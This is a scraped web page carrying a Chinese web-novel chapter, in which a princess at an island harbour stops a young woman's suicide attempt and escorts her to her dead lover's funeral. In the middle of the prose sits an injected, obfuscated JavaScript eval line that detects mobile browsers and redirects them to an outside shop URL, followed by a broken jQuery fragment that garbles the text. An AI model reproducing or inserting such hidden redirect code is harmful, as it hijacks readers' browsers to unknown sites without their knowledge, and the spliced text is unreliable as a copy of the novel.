文趣网 > 都市小说 > 反派眼线太黏人 > 47. 第47章
    李昭宁下了船,领着随行众人与他拱手拜别,望着远去的商船,心里百感交集,更添出几分怅然......

    码头停泊了数十艘商船,帆樯林立之间,商旅、脚夫吆喝着行走,岸边人声鼎沸,好不热闹。

    海风裹挟着浓重的咸腥气味扑面而来,一行人穿过人海,顺着人流前往身份文牒检验之处,身边之人正七嘴八舌地高声谈论,话语里皆多与拍卖相关,眼里皆是对珍宝的期待。

    凌音混迹在人群中,与人攀谈了一圈,回来禀报:“主子,他们来自五湖四海,皆是前来岛上寄附铺采买珍宝之人,此次拍卖会说是规模较大。幽河赤叶草是压轴之宝,专门为它而来的人还不少呢。”

    “他们说这寄附铺有个规矩,进场、竞买、离场皆要交纳银钱,这主人好生爱钱,摆明了是趁机宰客。”

    “罢了,若只是加钱,一切好说。”李昭宁低声吩咐,要求众人务必小心行事。

    于李昭宁而言,铺主越是加价,形势便对她愈加有利。她不差钱,金钱是她唯一的优势,这人生地不熟的,她担心在其他方面落后于人。

    一行人沿码头栈道缓步前行,步出闸口后,眼前豁然开朗。

    脚下尽是粗粝砂石,抬眼望去是一望无际的海岸,浪涛反复拍打着礁石,正发出悦耳动人的声响。

    忽然,李昭宁脚步一滞——

    海边一处礁石上孤零零站着一道纤细的人影。

    凌音顺着李昭宁的目光看去:“主子,那小娘子瞧着似要轻生。”

    话音未落,那道人影又朝礁石边缘挪去半步,清凉的海风里,隐约飘来几声低低的啜泣。

    同行众人纷纷转头看向李昭宁。

    李昭宁面色犹疑,内心正权衡挣扎之中。

    “那不是二街的三娘吗?怎么跑这来了。”

    “诶,快走吧,别管这事,小心招惹了贵人。”

    “这是怎么了......”

    “走、走......”

    眼前有人经过,互相议论了几句,又匆匆离开。

    凌音斟酌了一瞬,上前劝道:“主子,我们初来乍到,此地形势不明,敌我难辨,首要之事是顺利拍下幽河赤叶草,不如我们还是绕道离开罢。”

    “属下附议。”福字辈低声附和。

    理智告诉她,凌音所言是当下最为稳妥之策,可......李昭宁目光紧锁前方,看着那小娘子孤单的背影,迟迟没有开口,眉头不自觉皱起。

    云涧低声道:“若是无法做下决断,小主不妨遵从本心吧,万事皆有我们。”

    “云大人说得在理,主子不妨随心去做,若真是遇到贼人,大不了我们直接杀他们个片甲不留!”福零附和。

    其余人反应过来,连连称是。

    李昭宁突然觉得,这么多人里,唯有云涧最合她意。

    她轻轻颌首,吩咐凌音前去劝解。

    却不知凌音才劝说了几句,那小娘子倒像是受了刺//激一般,转过身便要往海里跳,还好凌音反应敏捷,当即将人捞了回来。

    小娘子被拦腰抱至沙滩上却未放弃挣扎,她开始大喊:“放开我,放开我!你们都不是好人!让我去死——!”

    李昭宁实在看不下眼,带着人凑近:“小娘子,身体发肤受之父母,何事想不开,竟要轻易丢弃性命?”

    被她这么一问,小娘子忽地沉默下来,片刻后,泄了力一般软倒在沙石上,她以手拭泪,啜泣着抬起头看向来人——

    只一眼,便被眼前带着英气的小女郎震慑在原地,她一时间忘了哭泣:“你们是谁?看着面生。”

    李昭宁见她慢慢冷静下来,柔声开口:“小娘子可是家中遇到了困难?我姓李,自西元国求药而来,他们皆是我的属下,你放心,我们不是坏人。”

    说着,她向凌音递去一个眼神,接着道:“小娘子只管开口,凡我力所能及之事,皆当倾力相助。”

    小娘子被凌音搀扶起来,朝李昭宁躬身一拜,起身时,泪水再次横流,她哽咽着哭诉:“女郎,我命苦呀,我与阿郎偶然相识,两情相悦,可阿爹嫌他出身寒门便不允我们来往,不仅将我禁锢了起来,还派人羞辱阿郎,与阿郎他娘一齐逼我们断了往来。”

    “阿郎不愿拖累我,担心我受家族责罚,又不肯应下他娘安排的亲事,竟投井自尽了!呜呜呜,我的命好苦呀!我的阿郎——!”

    她越说越难过,失声痛哭起来。

    家中长辈严令禁止她前去吊唁,无奈之下,她只能趁势从府中逃出,原想去灵堂送别阿郎,却被他娘赶了出来,走投无路之下,她回到二人初识之地欲投海自尽,与阿郎在黄泉相逢。

    众人听了,无不惋惜叹息。

    小娘子胡乱擦去泪痕,再次看向李昭宁,她双膝下跪,卑微地乞求:“女郎,求你帮帮我,你手下众多,瞧着皆是能人,求求你,帮我见上阿郎最后一面吧!”

    小娘子说话实诚,无半分隐瞒地将此事的利害之处和盘托出。李昭宁一介他国之客,若贸然掺和这岛中氏族家事,极易招惹是非,是以,眼下最妥当的法子便是委婉推辞。

    可李昭宁望着那小娘子哀恸绝望的模样,心中实在不忍。少男少女情真意切,却因家族门第之差而被强行拆散,男子殉情之举更是可悲可叹,生死相隔于她而言已是莫大的痛苦,若真连最后一面都不得相见,委实太过残忍。

    倘若世人在出手相助之前,皆要反复推算、权衡利弊一番,那这世间还能有几位真正的侠义之士?若所有人在行事之前皆要权衡利弊,那这世间到底还剩有几分真情?

    事情既然发生在她跟前,那说明此事与她有缘,既是缘分,那她出手拉上一把,也合情合理。

    若真是遇人不淑,最终被人反咬一口,那便权当教训;可若当真因此助人渡过劫难呢?纵使后续要付出代价,她亦有把握能够依靠自身所能保全自身,化解困局。

    她也并非圣母,不过心中尚有信念,想成为穆秫王那般心怀善意、扶危救困的好人罢了。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740924|204044||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她无畏结果,唯愿遵从本心。

    想罢,她缓缓颔首:“好。不过,我有条件。”

    “我都答应,我都答应!只要能让我再见上阿郎一面,我什么都答应!”女子眼底重新燃起希望。

    “活下来,往后多做善事,就当是为你阿郎积徳了。”

    ......

    岛上的屋舍沿着地势呈环形分布,由内至外拢共五道环形街巷,位于中心的一街是岛主居所重地;紧邻的二街住着曲氏宗族主支;环街越向外头延展,百姓的层级越是低下。

    小娘子居于二街,而她的书生阿郎却在四街。

    书生家中父亲早逝,只剩一位老娘,平日里靠售卖编制的竹篓营生,家徒四壁却一心向学,是四街里颇具名气之人。

    小娘子领着李昭宁一行人刚走至四街,便被几名男子拦在街头,她下意识朝李昭宁身侧靠近一步。

    “三娘,主子命我等接你回府。”排头的男子直绷着脸,看他们的眼神像是在看疑犯。

    “我不回去!我要去看阿郎!”曲三娘害怕地躲在李昭宁身后。

    在李昭宁的示意下,凌音缓缓走向跟前,脸上挂起客套和气的笑:“见过这位郎君,你家小娘子在海边与我们结缘,央我主子助她前来与书生拜别,主子既已应下,断无背信弃义之理。请郎君通融通融,让她去与书生见上最后一面,再随你们回府罢。”

    “若是不然,我担心小娘子再要自杀,回头你们也不好交差不是。”

    一番陈情之下,排头的男子态度也有所缓和,他见对方随从众多,衣着皆是上等料子,心中猜测是岛外前来的贵客,思量过后,他选择退让。

    四街的房屋多为夯土墙筑成的房子,仅少数有砖瓦铺设,屋顶皆以茅草覆着,街心瞧着较为得体的那间便是书生的家。

    街边已有邻里围拢在侧,正低声议论着。

    李昭宁目不斜视地带着人跨入院门,院落较为简陋,步入庭前,放眼望去,整座庭院仅一间屋堂,一具简易的木棺停在中间,棺边,一名鬓边霜白的老妪正佝偻着背在烧纸。

    曲三娘脚步踉跄,在院前堪堪站稳。

    老妪闻声抬头,见着是她,神情愤恨地将手中的纸钱掼在地上,起身便冲了上来:“你还在做什么!你怎么还有脸出现!给我滚出去,这里不欢迎你!”

    曲三娘周身一震,僵立在原地,眼里泪水开始打滚,嘴上却喏喏地说不出半句话语。

    李昭宁转头低声嘱咐,命众人退守于院外,身旁只云涧一人跟随。

    老妪见曲三娘软弱的样子,更是气不打一处来,上前推了她一把:“现在又在这扮什么可怜相!你们锦衣玉食自是高贵,欺我孤儿寡母的算什么意思!我儿为你受尽羞辱,若非遇见你,我儿又怎会寻短见!”

    曲三娘呜咽着,默默垂泪。

    可她越是沉默,老妪便越发激动起来,无处释放的情绪尽数倾泻在她一人身上,说着,老妪扬起手,冲曲三娘面上甩去——